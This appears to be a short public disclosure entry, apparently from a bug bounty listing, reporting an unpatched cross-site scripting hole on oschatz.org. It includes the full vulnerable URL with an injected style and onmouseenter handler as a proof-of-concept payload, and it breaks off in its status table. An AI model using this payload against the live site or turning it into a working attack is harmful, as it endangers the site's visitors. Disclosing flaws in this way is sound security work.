oschatz.org XSS vulnerability

Vulnerable URL: http://www.oschatz.org/cityinfo/webaccessibility/index.cfm?designid=7081="' /Style=position:fixed;top:0;left:0;font-size:999px; /Onmouseenter=confirmOPENBUGBOUNTY //==434id=100039id=323id=1id=0=9=2018 Details: Description| Value ---|--- Patched:| No Latest check for patch:|...